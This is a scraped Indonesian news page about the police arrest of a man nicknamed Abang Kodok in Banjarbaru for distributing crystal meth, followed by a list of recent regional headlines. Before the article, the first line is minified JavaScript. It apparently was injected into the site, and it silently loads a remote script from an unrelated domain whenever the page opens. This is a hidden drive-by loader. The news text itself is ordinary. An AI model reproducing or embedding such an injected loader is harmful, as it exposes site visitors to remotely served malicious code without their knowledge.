(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Edarkan Sabu, Abang Kodok Dicokok Polres Banjarbaru di Rumahnya


KANALKALIMANTAN.COM, BANJARBARU –Polres Banjarbaru berhasil mengungkap peredaran sabu dengan menangkap seorang pria bernama Arianto alias Abang Kodok (33), warga Sidomulyo, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru, Sabtu (25/9/2021).

“Pelaku berhasil diamankan karena diduga melakukan tindak pidana penyebaran dan penyalahgunaan Narkotika jenis sabu,” kata Kapolres Banjarbaru, AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru, AKP Tajuddin Noor, Minggu (26/9/2021).

Penangkapan Arianto bermula dari laporan masyarakat bahwa di depan phone cell Tryas yang beralamat di Jalan Rahayu Komplek Meranti Griya Asri, Kelurahan Mentaos telah terjadi peredaran narkoba.

Dari laporan tersebut anggota Sat Resnarkoba Polres Banjarbaru menuju ke lokasi dan mengamankan saksi Muhammad Nurhuda Alias Darkop serta barang bukti berupa 1 lembar plastik klip sabu dengan berat kotor 0,21 gram dan berat bersih 0,05 gram.

 

 

Baca juga : Tim Eksibisi Esports PES Kalsel Bawa Pulang Perak PON XX Papua

Tak hanya itu, polisi juga mendapati 1 (satu) batang pipet terbuat dari kaca yang di dalamnya terdapat sisa narkotika jenis sabu-sabu, 1 lembar plastik klips, 1 lembar kertas amplop warna putih, 1 unit sepeda motor merek Yamaha Mio warna putih DA 6809 WQ tanpa surat, 1 buah handphone merek ASUS warna hitam yang diduga milik Arianto.

“Dari keterangan saksi Tim berhasil mengetahui identitas pengedar bernama Arianto,” terangnya.

Kemudian tim melakukan pengembangan berdasarkan keterangan saksi dan berhasil mengamankan pelaku di rumahnya yang beralamat di Komplek Mustika Griya Permai, Blok E, Desa Cindai Alus, Kecamatan Martapura, Kabupaten Banjar.

“Pelaku dijerat Pasal 114 ayat (1) sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika, karena peredaran gelap dan penyalahgunaan Narkotika golongan I jenis sabu-sabu,” tutupnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

3 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

6 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

10 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

13 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

15 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

15 jam ago

This website uses cookies.